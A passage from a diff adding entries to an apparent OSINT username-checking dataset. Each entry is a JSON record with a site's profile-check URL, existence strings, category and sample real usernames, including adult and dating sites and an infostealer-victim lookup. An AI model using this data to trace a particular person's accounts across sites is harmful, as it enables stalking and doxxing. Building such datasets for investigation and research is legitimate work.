"Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"type\":\"NOT_FOUND\"", + "m_code": 200, + "known": [ + "born2hack", + "godiego" + ], + "cat": "tech" + }, + { + "name": "HackerRank", + "uri_check": "https://www.hackerrank.com/rest/contests/master/hackers/{account}/profile", + "uri_pretty": "https://www.hackerrank.com/profile/{account}", + "e_code": 200, + "e_string": "\"model\":", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "FMota", + "adepanges" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "hackrocks", + "uri_check": "https://hackrocks.com/api/users/profile", + "uri_pretty": "https://hackrocks.com/id/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_data\":\"USER_NOT_FOUND\"", + "m_code": 404, + "known": [ + "mespejo", + "NeoWaveCode" + ], + "cat": "tech" + }, + { + "name": "Hackster", + "uri_check": "https://www.hackster.io/{account}", + "e_code": 200, + "e_string": "data-hypernova-key=\"UserProfile\"", + "m_string": "id=\"error\"", + "m_code": 404, + "known": [ + "hendra", + "sologithu" + ], + "cat": "coding" + }, + { + "name": "hamaha", + "uri_check": "https://hamaha.net/{account}", + "e_code": 200, + "e_string": "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string": "HAMAHA Биткоин форум.", + "m_code": 200, + "known": [ + "oleg", + "misha" + ], + "cat": "finance" + }, + { + "name": "Hanime", + "uri_check": "https://hanime.tv/channels/{account}", + "e_code": 200, + "e_string": "Channel Views", + "m_string": "DYNAMIC", + "m_code": 302, + "known": [ + "thecolorred-7902", + "arisu-cum-stats-2787" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Hashnode", + "uri_check": "https://gql.hashnode.com/", + "uri_pretty": "https://hashnode.com/@{account}", + "post_body": "{\"operationName\":\"UserBadge\",\"query\":\"query UserBadge($username:String!){user(username:$username){id}}\",\"variables\":{\"username\":\"{account}\"}}", + "headers": { + "content-type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "33win1net", + "goober99" + ], + "cat": "tech" + }, + { + "name": "Hcommons.social (Mastodon Instance)", + "uri_check": "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hcommons.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "hello", + "iuulaio" + ], + "cat": "social" + }, + { + "name": "Heylink", + "uri_check": "https://heylink.me/{account}/", + "e_code": 200, + "e_string": "HeyLink.me |", + "m_string": "We can't find the page that you're looking for :(", + "m_code": 404, + "known": [ + "mohammed13", + "johnny" + ], + "cat": "misc" + }, + { + "name": "hiberworld", + "uri_check": "https://hiberworld.com/user/{account}", + "e_code": 200, + "e_string": "Member since ", + "m_string": "Looks like you got lost ", + "m_code": 200, + "known": [ + "Axeman", + "Silver01" + ], + "cat": "gaming" + }, + { + "name": "HiHello", + "uri_check": "https://www.hihello.me/author/{account}", + "e_code": 200, + "e_string": "HiHello Blog Author: ", + "m_string": "Well, this is awkward", + "m_code": 404, + "known": [ + "pascal-theriault", + "kortnee-paiha" + ], + "cat": "business" + }, + { + "name": "Historians.social (Mastodon Instance)", + "uri_check": "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://historians.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "lizcovart", + "Ejoiner" + ], + "cat": "social" + }, + { + "name": "Holopin", + "uri_check": "https://www.holopin.io/api/auth/username", + "uri_pretty": "https://holopin.io/@{account}#", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "holo", + "john", + "fire" + ], + "cat": "hobby" + }, + { + "name": "HomeDesign3D", + "uri_check": "https://en.homedesign3d.net/user/{account}", + "e_code": 200, + "e_string": "userspace", + "m_string": "An Error Occurred: Internal Server Error", + "m_code": 500, + "known": [ + "carlos01", + "paul" + ], + "cat": "hobby" + }, + { + "name": "Hometech.social (Mastodon Instance)", + "uri_check": "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hometech.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "one4ll", + "seth" + ], + "cat": "social" + }, + { + "name": "hoo.be", + "uri_check": "https://hoo.be/{account}", + "e_code": 200, + "e_string": "--profile-name-color", + "m_string": "Page Not Found</h3>", + "m_code": 404, + "known": [ + "chrishemsworth", + "alextackie" + ], + "cat": "business" + }, + { + "name": "Hostux.social (Mastodon Instance)", + "uri_check": "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hostux.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "alarig", + "rsmela" + ], + "cat": "social" + }, + { + "name": "Houzz", + "uri_check": "https://www.houzz.com/user/{account}", + "e_code": 200, + "e_string": "Followers", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "liam", + "alex" + ], + "cat": "hobby" + }, + { + "name": "HubPages", + "uri_check": "https://hubpages.com/@{account}", + "e_code": 200, + "e_string": "name\">Followers", + "m_string": "Sorry, that user does not exist", + "m_code": 404, + "known": [ + "greeneyes1607", + "lmmartin" + ], + "cat": "blog" + }, + { + "name": "Hubski", + "uri_check": "https://hubski.com/user/{account}", + "e_code": 200, + "e_string": "'s profile", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "john", + "blue" + ], + "cat": "social" + }, + { + "name": "HudsonRock", + "uri_check": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={account}", + "e_code": 200, + "e_string": "This username is associated with a computer that was infected by an info-stealer", + "m_string": "This username is not associated with a computer infected by an info-stealer", + "m_code": 200, + "known": [ + "testadmin", + "testadmin1" + ], + "cat": "tech" + }, + { + "name": "HuggingFace", + "uri_check": "https://huggingface.co/{account}", + "e_code": 200, + "e_string": "data-target=\"UserProfile\"", + "m_string": "content=\"404 – Hugging Face\"", + "m_code": 404, + "known": [ + "hack", + "dev", + "Amanda" + ], + "cat": "tech" + }, + { + "name": "HulkShare", + "uri_check": "https://www.hulkshare.com/{account}", + "e_code": 200, + "e_string": "id=\"profile_image\"", + "m_string": "Invalid user.", + "m_code": 200, + "known": [ + "djjamesryan", + "dxcrew2" + ], + "cat": "social" + }, + { + "name": "Iconfinder", + "uri_check": "https://www.iconfinder.com/{account}", + "e_code": 200, + "e_string": "data-to-user-id=", + "m_string": "We couldn't find the page you are looking for.", + "m_code": 404, + "known": [ + "roundicons", + "iconfinder" + ], + "cat": "images" + }, + { + "name": "icq-chat", + "uri_check": "https://icq.icqchat.co/members/{account}/", + "e_code": 200, + "e_string": "Last seen", + "m_string": "Oops! We ran into some problems", + "m_code": 404, + "known": [ + "brookenora.54", + "bigdaddy.77" + ], + "cat": "social" + }, + { + "name": "IFTTT", + "uri_check": "https://ifttt.com/p/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The requested page or file does not exist", + "m_code": 404, + "known": [ + "nr9992", + "sss90" + ], + "cat": "misc" + }, + { + "name": "ifunny", + "uri_check": "https://ifunny.co/user/{account}", + "e_code": 200, + "e_string": "subscribers", + "m_string": "404 - page not found", + "m_code": 404, + "known": [ + "hacker", + "john" + ], + "cat": "misc" + }, + { + "name": "igromania", + "uri_check": "http://forum.igromania.ru/member.php?username={account}", + "e_code": 200, + "e_string": "Форум Игромании - Просмотр профиля:", + "m_string": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "ilovegrowingmarijuana", + "uri_check": "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code": 200, + "e_string": "<title> Profile - ", + "m_string": "Oops! That page doesn’t exist or is private", + "m_code": 404, + "known": [ + "ILGM.Stacy", + "Mosaicmind9x" + ], + "cat": "social" + }, + { + "name": "imagefap", + "uri_check": "https://www.imagefap.com/profile/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Invalid uid", + "m_code": 200, + "known": [ + "lover03", + "SecretSide15" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ImageShack", + "uri_check": "https://imageshack.com/user/{account}", + "e_code": 200, + "e_string": "s Images", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "iMGSRC.RU", + "uri_check": "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code": 200, + "e_string": "Присоединился", + "m_string": "", + "m_code": 302, + "known": [ + "natalisn", + "andydiamond", + "natalyck" + ], + "cat": "images" + }, + { + "name": "Imgur", + "uri_check": "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7", + "uri_pretty": "https://imgur.com/user/{account}/about", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":\"404\"", + "m_code": 404, + "known": [ + "OliverClothesoff70", + "DadOnTheInternet" + ], + "cat": "images" + }, + { + "name": "inaturalist", + "uri_check": "https://inaturalist.nz/people/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "greg", + "tom" + ], + "cat": "hobby" + }, + { + "name": "Independent academia", + "uri_check": "https://independent.academia.edu/{account}", + "e_code": 200, + "e_string": "- Academia.edu", + "m_string": "Academia.edu", + "m_code": 404, + "known": [ + "peter", + "LiamM" + ], + "cat": "hobby" + }, + { + "name": "InkBunny", + "uri_check": "https://inkbunny.net/{account}", + "e_code": 200, + "e_string": "Profile | Inkbunny, the Furry Art Community", + "m_string": "Members | Inkbunny, the Furry Art Community", + "m_code": 302, + "known": [ + "AdminBunny", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "InsaneJournal", + "uri_check": "https://{account}.insanejournal.com/profile", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "User:", + "m_string": "The requested URL /profile was not found on this server", + "m_code": 200, + "known": [ + "test", + "pint-sized", + "acroamatica" + ], + "cat": "social" + }, + { + "name": "Instagram", + "uri_check": "https://www.instagram.com/{account}/", + "e_code": 200, + "e_string": "\"routePath\":\"\\/{username}\\/{?tab}\\/{?view_type}\\/{?igshid}\\/\"", + "m_string": "\"routePath\":null", + "m_code": 200, + "known": [ + "jennaortega", + "cristiano" + ], + "cat": "social" + }, + { + "name": "Instagram (Imginn)", + "uri_check": "https://imginn.com/{account}/", + "e_code": 200, + "e_string": "userinfo", + "m_string": "page-error notfound", + "m_code": 404, + "known": [ + "therock", + "ramarim" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Instagram_archives", + "uri_check": "https://archive.org/wayback/available?url=https://instagram.com/{account}/", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}}", + "m_code": 200, + "known": [ + "zuck", + "jack" + ], + "cat": "social" + }, + { + "name": "Instructables", + "uri_check": "https://www.instructables.com/json-api/showAuthorExists?screenName={account}", + "uri_pretty": "https://www.instructables.com/member/{account}/", + "e_code": 200, + "e_string": "\"exists\": true", + "m_string": "\"error\": \"Sorry, we couldn't find that one!\"", + "m_code": 404, + "known": [ + "davidandora", + "test" + ], + "cat": "hobby" + }, + { + "name": "Internet Archive User Search", + "uri_check": "https://archive.org/advancedsearch.php?q={account}&output=json", + "uri_pretty": "https://archive.org/search.php?query={account}", + "e_code": 200, + "e_string": "backup_location", + "m_string": "numFound\":0", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "misc" + }, + { + "name": "interpals", + "uri_check": "https://www.interpals.net/{account}", + "e_code": 200, + "e_string": "Looking for", + "m_string": "User not found", + "m_code": 200, + "known": [ + "test" + ], + "cat": "dating" + }, + { + "name": "Intigriti", + "uri_check": "https://app.intigriti.com/api/user/public/profile/{account}", + "uri_pretty": "https://app.intigriti.com/profile/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "class=\"error-page-container\"", + "m_code": 404, + "known": [ + "vampire01", + "kenshiin" + ], + "cat": "tech" + }, + { + "name": "Issuu", + "uri_check": "https://issuu.com/call/signup/v2/check-username/{account}", + "uri_pretty": "https://issuu.com/{account}", + "e_code": 200, + "e_string": "\"status\":\"unavailable\"", + "m_string": "\"status\":\"available\"", + "m_code": 200, + "known": [ + "letsplayhockey", + "the_anchor" + ], + "cat": "social" + }, + { + "name": "itch.io", + "uri_check": "https://itch.io/profile/{account}", + "e_code": 200, + "e_string": "class=\"user_data\"", + "m_string": "class=\"not_found_page page_widget base_widget\"", + "m_code": 404, + "known": [ + "obliviist", + "finch" + ], + "cat": "gaming" + }, + { + "name": "iXBT Forum", + "uri_check": "https://forum.ixbt.com/users.cgi?id=info:{account}", + "e_code": 200, + "e_string": "Информация об участнике:", + "m_string": "Проверьте регистр написания.", + "m_code": 404, + "known": [ + "phosphor", + "Dronich" + ], + "cat": "tech" + }, + { + "name": "Japandict", + "uri_check": "https://forum.japandict.com/u/{account}", + "e_code": 200, + "e_string": "modern browser", + "m_string": "The page you requested could not be found.", + "m_code": 404, + "known": [ + "Yan", + "Happy" + ], + "cat": "social" + }, + { + "name": "JBZD", + "uri_check": "https://jbzd.com.pl/uzytkownik/{account}", + "e_code": 200, + "e_string": "Dzidy użytkownika", + "m_string": "Błąd 404", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "jeja.pl", + "uri_check": "https://www.jeja.pl/user,{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Niepoprawny login", + "m_code": 200, + "known": [ + "kowal", + "janek" + ], + "cat": "misc" + }, + { + "name": "Jeuxvideo", + "uri_check": "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code": 200, + "e_string": "- jeuxvideo.com", + "m_string": "rence des gamers", + "m_code": 404, + "known": [ + "jane", + "alex" + ], + "cat": "gaming" + }, + { + "name": "Joe Monster", + "uri_check": "https://joemonster.org/bojownik/{account}", + "e_code": 200, + "e_string": "jest prywatny", + "m_string": "Nie wiem jak ci to powiedzieć", + "m_code": 200, + "known": [ + "dandris", + "lasior" + ], + "cat": "misc" + }, + { + "name": "joinDOTA", + "uri_check": "https://www.joindota.com/ajax/search", + "uri_pretty": "https://www.joindota.com/search?m=edb_player&q={account}", + "post_body": "search={account}&module=edb_player&language=en", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"items\":[{", + "m_string": "\"count\":0", + "m_code": 200, + "known": [ + "AngryTestie", + "amddota2" + ], + "cat": "gaming" + }, + { + "name": "JSFiddle", + "uri_check": "https://jsfiddle.net/user/{account}/", + "e_code": 200, + "e_string": "Settings - JSFiddle - Code Playground", + "m_string": "That page doesn't exist.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "coding" + }, + { + "name": "Justforfans", + "uri_check": "https://justfor.fans/{account}", + "e_code": 200, + "e_string": " @ JustFor.Fans", + "m_string": "", + "m_code": 302, + "known": [ + "devinfrancoxxx", + "RileyChaux" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Kaggle", + "uri_check": "https://www.kaggle.com/{account}", + "e_code": 200, + "e_string": "property=\"og:username\"", + "m_string": "Kaggle: Your Home for Data Science", + "m_code": 404, + "known": [ + "charmq", + "tunguz" + ], + "cat": "coding" + }, + { + "name": "kashipara", + "uri_check": "https://www.kashipara.com/ajax/checkNewUser.php", + "uri_pretty": "https://www.kashipara.com/profile/user/{account}", + "post_body": "id=UserName&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"message\":\"UserName already Exist\"", + "m_string": "\"message\":\"UserName avalible\"", + "m_code": 200, + "known": [ + "lopalopa", + "westde123" + ], + "cat": "tech" + }, + { + "name": "Keybase", + "uri_check": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={account}", + "uri_pretty": "https://keybase.io/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"them\":[null]", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "social" + }, + { + "name": "Kick", + "uri_check": "https://kick.com/api/v2/channels/{account}", + "uri_pretty": "https://kick.com/{account}", + "e_code": 200, + "e_string": "\"id\"", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "deepak", + "anthonyz" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Kickstarter", + "uri_check": "https://www.kickstarter.com/profile/{account}", + "e_code": 200, + "e_string": "projects", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "shopping" + }, + { + "name": "kik", + "uri_check": "https://kik.me/{account}", + "e_code": 200, + "e_string": "/thumb.jpg\"/>", + "m_string": "

    ", + "m_code": 200, + "known": [ + "adam", + "smith", + "jones" + ], + "cat": "social" + }, + { + "name": "kipin", + "uri_check": "https://kipin.app/{account}", + "e_code": 200, + "e_string": "kipin.app/data/photos/resized2/", + "m_string": "Page not found. Link expired, broken or wrong.", + "m_code": 302, + "known": [ + "monethica", + "asd_fca" + ], + "cat": "business" + }, + { + "name": "KnowYourMeme", + "uri_check": "https://knowyourmeme.com/users/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "404, File Not Found!", + "m_code": 400, + "known": [ + "ayumukasuga", + "butterin-yobread" + ], + "cat": "social" + }, + { + "name": "Ko-Fi", + "uri_check": "https://ko-fi.com/{account}", + "e_code": 200, + "e_string": "id=\"profile-header\"", + "m_string": "Object moved", + "m_code": 302, + "known": [ + "frank", + "marcmakescomics" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "komi", + "uri_check": "https://api.komi.io/api/talent/usernames/{account}", + "uri_pretty": "https://{account}.komi.io", + "e_code": 200, + "e_string": "accountStatus\":\"active", + "m_string": "The talent profile was not found", + "m_code": 404, + "known": [ + "abbysage", + "iamdsprings" + ], + "cat": "social" + }, + { + "name": "Kongregate", + "uri_check": "https://www.kongregate.com/accounts/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Sorry, no account with that name was found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "Kotburger", + "uri_check": "https://kotburger.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza kotburgery od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "ania", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwai", + "uri_check": "https://www.kwai.com/@{account}", + "e_code": 200, + "e_string": "name=\"title\"", + "m_string": "Kwai", + "m_code": 200, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "kwejk.pl", + "uri_check": "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code": 200, + "e_string": "Kwejki użytkownika", + "m_string": "404 - strona nie została znaleziona - KWEJK.pl", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwork", + "uri_check": "https://kwork.ru/user_kworks/{account}", + "uri_pretty": "https://kwork.ru/user/{account}", + "post_body": "{\"username\":\"{account}\",\"offset\":0,\"limit\":10}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "ilkarkarakurt", + "sergeymeshiy" + ], + "cat": "social" + }, + { + "name": "Last.fm", + "uri_check": "https://www.last.fm/user/{account}", + "e_code": 200, + "e_string": "class=\"header-info\"", + "m_string": "

    404 - Page Not Found

    ", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "music" + }, + { + "name": "LeakIX", + "uri_check": "https://leakix.net/u/{account}", + "e_code": 200, + "e_string": ">Joined ", + "m_string": "LeakIX - Server error", + "m_code": 500, + "known": [ + "Chocapikk", + "Hug1337" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "Learn CW Online", + "uri_check": "https://lcwo.net/api/user_exists.php", + "uri_pretty": "https://lcwo.net/profile/{account}", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"user_exists\": 1", + "m_string": "\"user_exists\": 0", + "m_code": 200, + "known": [ + "wm3o", + "test" + ], + "cat": "hobby" + }, + { + "name": "LeetCode", + "uri_check": "https://leetcode.com/graphql/", + "uri_pretty": "https://leetcode.com/u/{account}/", + "post_body": "{\"query\":\"query userPublicProfile($username: String!) { matchedUser(username: $username) { username } }\",\"variables\":{\"username\":\"{account}\"},\"operationName\":\"userPublicProfile\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"matchedUser\":null", + "m_code": 200, + "known": [ + "aku_2000", + "wengh" + ], + "cat": "coding" + }, + { + "name": "Lemon8", + "uri_check": "https://www.lemon8-app.com/{account}?region=us", + "e_code": 200, + "e_string": "class=\"user-desc-main-info", + "m_string": "unavailableReason\": \"not_found", + "m_code": 404, + "known": [ + "phinyamat", + "andrianajohnson" + ], + "cat": "social" + }, + { + "name": "Letterboxd", + "uri_check": "https://letterboxd.com/{account}/", + "e_code": 200, + "e_string": "’s profile on Letterboxd", + "m_string": "Sorry, we can’t find the page you’ve requested.", + "m_code": 404, + "known": [ + "serdaraltin", + "choi" + ], + "cat": "social" + }, + { + "name": "LevelBlue", + "uri_check": "https://otx.alienvault.com/otxapi/auth/validate?username={account}", + "uri_pretty": "https://otx.alienvault.com/user/{account}/pulses", + "e_code": 400, + "e_string": "\"username\": [\"This username is already taken\"]", + "m_string": "{}", + "m_code": 200, + "known": [ + "BotnetExposer", + "jamesbrine" + ], + "cat": "social" + }, + { + "name": "Liberapay", + "uri_check": "https://liberapay.com/{account}", + "e_code": 200, + "e_string": "class=\"profile-header\"", + "m_string": "Response code: 404", + "m_code": 404, + "known": [ + "db0", + "bnjbvr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "LibraryThing", + "uri_check": "https://www.librarything.com/profile/{account}", + "e_code": 200, + "e_string": "
    Joined
    ", + "m_string": "Error: This user doesn't exist", + "m_code": 200, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "Libretooth.gr (Mastodon Instance)", + "uri_check": "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://libretooth.gr/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "infolibre", + "tzinalilik" + ], + "cat": "social" + }, + { + "name": "lichess.org", + "uri_check": "https://lichess.org/api/player/autocomplete?term={account}&exists=1", + "uri_pretty": "https://lichess.org/@/{account}", + "e_code": 200, + "e_string": "true", + "m_string": "false", + "m_code": 200, + "known": [ + "mohammed01", + "mohammed03" + ], + "cat": "gaming" + }, + { + "name": "LINE", + "uri_check": "https://line.me/R/ti/p/@{account}?from=page", + "e_code": 200, + "e_string": "Add LINE Friends via QR Code", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "roseareal", + "yoasobi" + ], + "cat": "social" + }, + { + "name": "Linktree", + "uri_check": "https://linktr.ee/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"statusCode\":404", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "social" + }, + { + "name": "linux.org.ru", + "uri_check": "https://www.linux.org.ru/people/{account}/profile", + "e_code": 200, + "e_string": "Дата регистрации", + "m_string": "Пользователя не существует", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "Livejournal", + "uri_check": "https://{account}.livejournal.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Unknown Journal", + "m_code": 404, + "known": [ + "jill", + "john" + ], + "cat": "blog" + }, + { + "name": "livemaster.ru", + "uri_check": "https://www.livemaster.ru/{account}", + "e_code": 200, + "e_string": "Магазин мастера", + "m_string": "<title>Вы попали на несуществующую страницу", + "m_code": 404, + "known": [ + "redart", + "ellentoy" + ], + "cat": "shopping" + }, + { + "name": "lobste.rs", + "uri_check": "https://lobste.rs/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The resource you requested was not found, or the story has been deleted.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "LoLProfile", + "uri_check": "https://lolprofile.net/search/world/{account}-world", + "e_code": 200, + "e_string": "class=\"content sw\">", + "m_string": "We could not find any results, please try again later or check your input.", + "m_code": 200, + "known": [ + "bea", + "wild" + ], + "cat": "gaming" + }, + { + "name": "Lor.sh (Mastodon Instance)", + "uri_check": "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://lor.sh/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "dump_stack", + "lamountain" + ], + "cat": "social" + }, + { + "name": "lowcygier.pl", + "uri_check": "https://bazar.lowcygier.pl/user/{account}", + "e_code": 200, + "e_string": "Zarejestrowany", + "m_string": "Błąd 404 - Podana strona nie istnieje", + "m_code": 404, + "known": [ + "armin", + "janek" + ], + "cat": "gaming" + }, + { + "name": "MAGABOOK", + "uri_check": "https://magabook.com/{account}", + "e_code": 200, + "e_string": "Timeline", + "m_string": "", + "m_code": 302, + "known": [ + "KristenSuzanne", + "mikeflbmer" + ], + "cat": "social" + }, + { + "name": "Magix", + "uri_check": "https://www.magix.info/us/users/profile/{account}/", + "e_code": 200, + "e_string": "About me", + "m_string": "Page not found", + "m_code": 200, + "known": [ + "baywolfmusic", + "johnebaker" + ], + "cat": "music" + }, + { + "name": "Malpedia Actors", + "uri_check": "https://malpedia.caad.fkie.fraunhofer.de/actor/{account}", + "e_code": 200, + "e_string": "href=\"/actors\"", + "m_string": "Page not Found.", + "m_code": 404, + "known": [ + "USDoD", + "AeroBlade" + ], + "cat": "tech" + }, + { + "name": "MapMyTracks", + "uri_check": "https://www.mapmytracks.com/{account}", + "e_code": 200, + "e_string": "Daily distance this week", + "m_string": "Outside together", + "m_code": 302, + "known": [ + "ulirad", + "CBSloan" + ], + "cat": "health" + }, + { + "name": "Mapstodon.space (Mastodon Instance)", + "uri_check": "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mapstodon.space/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Autumnhussar", + "jeremy" + ], + "cat": "social" + }, + { + "name": "Maroc_nl", + "uri_check": "https://www.maroc.nl/forums/members/{account}.html", + "e_code": 200, + "e_string": "Bekijk Profiel:", + "m_string": "Deze gebruiker is niet geregistreerd", + "m_code": 200, + "known": [ + "brahim", + "brahim01" + ], + "cat": "social" + }, + { + "name": "Marshmallow", + "uri_check": "https://marshmallow-qa.com/{account}", + "e_code": 200, + "e_string": "さんにメッセージをおくる", + "m_string": "For compensation, here are cats for you.", + "m_code": 404, + "known": [ + "yuino_fox", + "momo" + ], + "cat": "social" + }, + { + "name": "Martech", + "uri_check": "https://martech.org/author/{account}/", + "e_code": 200, + "e_string": "twitter:site", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "mani-karthik", + "james-green" + ], + "cat": "business" + }, + { + "name": "Massage Anywhere", + "uri_check": "https://www.massageanywhere.com/profile/{account}", + "e_code": 200, + "e_string": "<title>MassageAnywhere.com Profile for ", + "m_string": "<title>MassageAnywhere.com: Search Results", + "m_code": 200, + "known": [ + "lorilmccluskey", + "LomiNYC" + ], + "cat": "health" + }, + { + "name": "masto.ai", + "uri_check": "https://masto.ai/@{account}", + "e_code": 200, + "e_string": "@masto.ai) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "rbreich", + "stux" + ], + "cat": "social" + }, + { + "name": "Masto.nyc (Mastodon Instance)", + "uri_check": "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://masto.nyc/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "seano", + "jayjay718" + ], + "cat": "social" + }, + { + "name": "Mastodon API", + "uri_check": "https://mastodon.social/api/v2/search?q={account}&limit=1&type=accounts", + "uri_pretty": "https://mastodon.social/api/v2/search?q={account}&type=accounts", + "e_code": 200, + "e_string": "display_name", + "m_string": "\"accounts\":[]", + "m_code": 404, + "known": [ + "Richard_Littler", + "webbreacher" + ], + "cat": "social" + }, + { + "name": "Mastodon-101010.pl", + "uri_check": "https://101010.pl/@{account}", + "e_code": 200, + "e_string": "@101010.pl", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "szekspir", + "xaphanpl" + ], + "cat": "social" + }, + { + "name": "Mastodon-C.IM", + "uri_check": "https://c.im/@{account}", + "e_code": 200, + "e_string": "@c.im) - C.IM", + "m_string": "The page you are looking for isn't here", + "m_code": 404, + "known": [ + "admin", + "paidugroup" + ], + "cat": "social" + }, + { + "name": "Mastodon-Chaos.social", + "uri_check": "https://chaos.social/@{account}", + "e_code": 200, + "e_string": "@chaos.social) - chaos.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "dictvm", + "sml" + ], + "cat": "social" + }, + { + "name": "Mastodon-climatejustice.rocks", + "uri_check": "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://climatejustice.rocks/@{account}", + "e_code": 200, + "e_string": "username\":", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "paula", + "PaulaToThePeople" + ], + "cat": "social" + }, + { + "name": 